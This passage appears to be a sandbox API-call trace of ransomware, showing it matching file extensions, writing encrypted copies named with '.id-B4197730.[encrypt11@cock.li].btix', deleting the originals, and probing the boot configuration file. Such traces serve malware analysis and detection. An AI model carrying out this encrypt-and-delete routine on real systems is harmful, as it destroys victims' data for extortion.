(lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0045.160] lstrlenW (lpString=".jpg") returned 4 [0045.160] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0045.160] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0045.160] lstrlenW (lpString=".doc") returned 4 [0045.161] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.161] lstrlenW (lpString=".docx") returned 5 [0045.161] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0045.161] lstrlenW (lpString=".pdf") returned 4 [0045.161] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.161] lstrlenW (lpString=".xls") returned 4 [0045.161] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.161] lstrlenW (lpString=".xlsx") returned 5 [0045.161] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0045.161] lstrlenW (lpString=".ppt") returned 4 [0045.161] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0045.161] lstrlenW (lpString=".zip") returned 4 [0045.161] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.161] lstrlenW (lpString=".rar") returned 4 [0045.161] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.161] lstrlenW (lpString=".bz2") returned 4 [0045.161] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.161] lstrlenW (lpString=".7z") returned 3 [0045.161] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0045.161] lstrlenW (lpString=".dbf") returned 4 [0045.161] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0045.161] lstrlenW (lpString=".1cd") returned 4 [0045.161] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0045.161] lstrlenW (lpString=".jpg") returned 4 [0045.161] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.161] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0045.161] lstrlenW (lpString="Setup.exe") returned 9 [0045.161] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0045.162] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=78152) returned 1 [0045.162] CloseHandle (hObject=0x358) returned 1 [0045.162] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0045.162] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.162] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0045.162] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.162] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.162] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0045.162] GetLastError () returned 0x0 [0045.162] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x13148, lpOverlapped=0x0) returned 1 [0045.467] WriteFile (in: hFile=0x344, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x13150, lpOverlapped=0x0) returned 1 [0045.469] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0045.469] WriteFile (in: hFile=0x344, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xe6, lpOverlapped=0x0) returned 1 [0045.469] SetEndOfFile (hFile=0x344) returned 1 [0045.469] CloseHandle (hObject=0x344) returned 1 [0045.470] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.470] SetEndOfFile (hFile=0x358) returned 1 [0045.472] CloseHandle (hObject=0x358) returned 1 [0045.472] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0045.472] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1 [0045.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0045.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0045.472] lstrlenW (lpString=".doc") returned 4 [0045.472] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0045.472] lstrlenW (lpString=".docx") returned 5 [0045.472] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0045.472] lstrlenW (lpString=".pdf") returned 4 [0045.472] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0045.472] lstrlenW (lpString=".xls") returned 4 [0045.472] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0045.472] lstrlenW (lpString=".xlsx") returned 5 [0045.472] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0045.472] lstrlenW (lpString=".ppt") returned 4 [0045.472] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0045.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0045.473] lstrlenW (lpString=".zip") returned 4 [0045.473] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0045.473] lstrlenW (lpString=".rar") returned 4 [0045.473] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0045.473] lstrlenW (lpString=".bz2") returned 4 [0045.473] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0045.473] lstrlenW (lpString=".7z") returned 3 [0045.473] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0045.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0045.473] lstrlenW (lpString=".dbf") returned 4 [0045.473] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0045.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0045.473] lstrlenW (lpString=".1cd") returned 4 [0045.473] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0045.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0045.473] lstrlenW (lpString=".jpg") returned 4 [0045.473] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0045.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0045.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0045.473] lstrlenW (lpString=".doc") returned 4 [0045.473] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0045.473] lstrlenW (lpString=".docx") returned 5 [0045.473] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0045.473] lstrlenW (lpString=".pdf") returned 4 [0045.473] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0045.473] lstrlenW (lpString=".xls") returned 4 [0045.473] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0045.473] lstrlenW (lpString=".xlsx") returned 5 [0045.473] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0045.473] lstrlenW (lpString=".ppt") returned 4 [0045.473] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0045.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0045.473] lstrlenW (lpString=".zip") returned 4 [0045.473] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0045.473] lstrlenW (lpString=".rar") returned 4 [0045.474] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0045.474] lstrlenW (lpString=".bz2") returned 4 [0045.474] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0045.474] lstrlenW (lpString=".7z") returned 3 [0045.474] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0045.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0045.474] lstrlenW (lpString=".dbf") returned 4 [0045.474] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0045.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0045.474] lstrlenW (lpString=".1cd") returned 4 [0045.474] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0045.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0045.474] lstrlenW (lpString=".jpg") returned 4 [0045.474] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0045.474] lstrcmpiW (lpString1=".msu", lpString2=".btix") returned 1 [0045.474] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33 [0045.474] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0045.475] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=5198099) returned 1 [0045.475] CloseHandle (hObject=0x358) returned 1 [0045.475] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80 [0045.475] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.475] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0045.475] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0045.476] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc64 | out: lpNewFilePointer=0x0) returned 1 [0045.476] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc24 | out: lpNewFilePointer=0x0) returned 1 [0045.476] ReadFile (in: hFile=0x358, lpBuffer=0x3b14058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b14058*, lpNumberOfBytesRead=0x302fc30*=0x40000, lpOverlapped=0x0) returned 1 [0045.516] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x302fc24 | out: lpNewFilePointer=0x0) returned 1 [0045.516] ReadFile (in: hFile=0x358, lpBuffer=0x3b54058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b54058*, lpNumberOfBytesRead=0x302fc30*=0x40000, lpOverlapped=0x0) returned 1 [0045.571] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0045.571] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x302fc24 | out: lpNewFilePointer=0x0) returned 1 [0045.571] ReadFile (in: hFile=0x358, lpBuffer=0x3b94058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b94058*, lpNumberOfBytesRead=0x302fc30*=0x40000, lpOverlapped=0x0) returned 1 [0045.597] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.598] WriteFile (in: hFile=0x358, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x302fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0045.624] SetEndOfFile (hFile=0x358) returned 1 [0045.624] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40000) returned 0x4353f20 [0045.629] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc74 | out: lpNewFilePointer=0x0) returned 1 [0045.629] WriteFile (in: hFile=0x358, lpBuffer=0x4353f20*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc80, lpOverlapped=0x0 | out: lpBuffer=0x4353f20*, lpNumberOfBytesWritten=0x302fc80*=0x40000, lpOverlapped=0x0) returned 1 [0045.633] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x302fc74 | out: lpNewFilePointer=0x0) returned 1 [0045.633] WriteFile (in: hFile=0x358, lpBuffer=0x4353f20*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc80, lpOverlapped=0x0 | out: lpBuffer=0x4353f20*, lpNumberOfBytesWritten=0x302fc80*=0x40000, lpOverlapped=0x0) returned 1 [0045.634] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x302fc74 | out: lpNewFilePointer=0x0) returned 1 [0045.634] WriteFile (in: hFile=0x358, lpBuffer=0x4353f20*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc80, lpOverlapped=0x0 | out: lpBuffer=0x4353f20*, lpNumberOfBytesWritten=0x302fc80*=0x40000, lpOverlapped=0x0) returned 1 [0045.636] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0045.678] CloseHandle (hObject=0x358) returned 1 [0046.731] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0046.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0046.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0046.731] lstrlenW (lpString=".doc") returned 4 [0046.731] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0046.731] lstrlenW (lpString=".docx") returned 5 [0046.731] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0046.731] lstrlenW (lpString=".pdf") returned 4 [0046.731] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0046.731] lstrlenW (lpString=".xls") returned 4 [0046.731] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0046.731] lstrlenW (lpString=".xlsx") returned 5 [0046.731] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0046.731] lstrlenW (lpString=".ppt") returned 4 [0046.731] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0046.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0046.731] lstrlenW (lpString=".zip") returned 4 [0046.731] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0046.731] lstrlenW (lpString=".rar") returned 4 [0046.731] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0046.731] lstrlenW (lpString=".bz2") returned 4 [0046.731] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0046.731] lstrlenW (lpString=".7z") returned 3 [0046.731] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0046.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0046.732] lstrlenW (lpString=".dbf") returned 4 [0046.732] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0046.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0046.732] lstrlenW (lpString=".1cd") returned 4 [0046.732] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0046.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0046.732] lstrlenW (lpString=".jpg") returned 4 [0046.732] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0046.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0046.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0046.732] lstrlenW (lpString=".doc") returned 4 [0046.732] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0046.732] lstrlenW (lpString=".docx") returned 5 [0046.732] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0046.732] lstrlenW (lpString=".pdf") returned 4 [0046.732] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0046.732] lstrlenW (lpString=".xls") returned 4 [0046.732] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0046.732] lstrlenW (lpString=".xlsx") returned 5 [0046.732] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0046.732] lstrlenW (lpString=".ppt") returned 4 [0046.732] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0046.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0046.732] lstrlenW (lpString=".zip") returned 4 [0046.732] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0046.732] lstrlenW (lpString=".rar") returned 4 [0046.732] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0046.732] lstrlenW (lpString=".bz2") returned 4 [0046.732] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0046.732] lstrlenW (lpString=".7z") returned 3 [0046.732] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0046.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0046.732] lstrlenW (lpString=".dbf") returned 4 [0046.732] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0046.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0046.733] lstrlenW (lpString=".1cd") returned 4 [0046.733] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0046.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0046.733] lstrlenW (lpString=".jpg") returned 4 [0046.733] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0046.733] lstrlenW (lpString="BCD") returned 3 [0046.733] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.733] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0046.733] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0046.733] lstrlenW (lpString=".doc") returned 4 [0046.733] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0046.733] lstrlenW (lpString=".docx") returned 5 [0046.733] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0046.733] lstrlenW (lpString=".pdf") returned 4 [0046.733] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0046.733] lstrlenW (lpString=".xls") returned 4 [0046.733] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0046.733] lstrlenW (lpString=".xlsx") returned 5 [0046.733] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0046.733] lstrlenW (lpString=".ppt") returned 4 [0046.733] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0046.733] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0046.733] lstrlenW (lpString=".zip") returned 4 [0046.733] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0046.733] lstrlenW (lpString=".rar") returned 4 [0046.733] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0046.733] lstrlenW (lpString=".bz2") returned 4 [0046.733] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0046.734] lstrlenW (lpString=".7z") returned 3 [0046.734] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0046.734] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0046.734] lstrlenW (lpString=".dbf") returned 4 [0046.734] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0046.734] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0046.734] lstrlenW (lpString=".1cd") returned 4 [0046.734] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0046.734] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0046.734] lstrlenW (lpString=".jpg") returned 4 [0046.734] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0046.734] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0046.734] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0046.734] lstrlenW (lpString=".doc") returned 4 [0046.734] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0046.734] lstrlenW (lpString=".docx") returned 5 [0046.734] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0046.734] lstrlenW (lpString=".pdf") returned 4 [0046.734] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0046.734] lstrlenW (lpString=".xls") returned 4 [0046.734] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0046.734] lstrlenW (lpString=".xlsx") returned 5 [0046.734] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0046.734] lstrlenW (lpString=".ppt") returned 4 [0046.734] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0046.734] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0046.734] lstrlenW (lpString=".zip") returned 4 [0046.734] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0046.734] lstrlenW (lpString=".rar") returned 4 [0046.734] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0046.734] lstrlenW (lpString=".bz2") returned 4 [0046.734] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0046.734] lstrlenW (lpString=".7z") returned 3 [0046.734] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0046.734] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0046.735] lstrlenW (lpString=".dbf") returned 4 [0046.735] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0046.735] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0046.735] lstrlenW (lpString=".1cd") returned 4 [0046.735] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0046.735] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0046.735] lstrlenW (lpString=".jpg") returned 4 [0046.735] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0046.735] lstrcmpiW (lpString1=".LOG1", lpString2=".btix") returned 1 [0046.735] lstrlenW (lpString="BCD.LOG1") returned 8 [0046.735] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0046.735] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=0) returned 1 [0046.735] CloseHandle (hObject=0x358) returned 1 [0046.735] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0046.735] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0046.735] lstrlenW (lpString=".doc") returned 4 [0046.735] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0046.735] lstrlenW (lpString=".docx") returned 5 [0046.735] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0046.735] lstrlenW (lpString=".pdf") returned 4 [0046.735] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0046.735] lstrlenW (lpString=".xls") returned 4 [0046.735] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0046.735] lstrlenW (lpString=".xlsx") returned 5 [0046.736] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0046.736] lstrlenW (lpString=".ppt") returned 4 [0046.736] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0046.736] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0046.736] lstrlenW (lpString=".zip") returned 4 [0046.736] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0046.736] lstrlenW (lpString=".rar") returned 4 [0046.736] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0046.736] lstrlenW (lpString=".bz2") returned 4 [0046.736] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0046.736] lstrlenW (lpString=".7z") returned 3 [0046.736] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0046.736] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0046.736] lstrlenW (lpString=".dbf") returned 4 [0046.736] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0046.736] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0046.736] lstrlenW (lpString=".1cd") returned 4 [0046.736] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0046.736] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0046.736] lstrlenW (lpString=".jpg") returned 4 [0046.736] lstrcmpiW 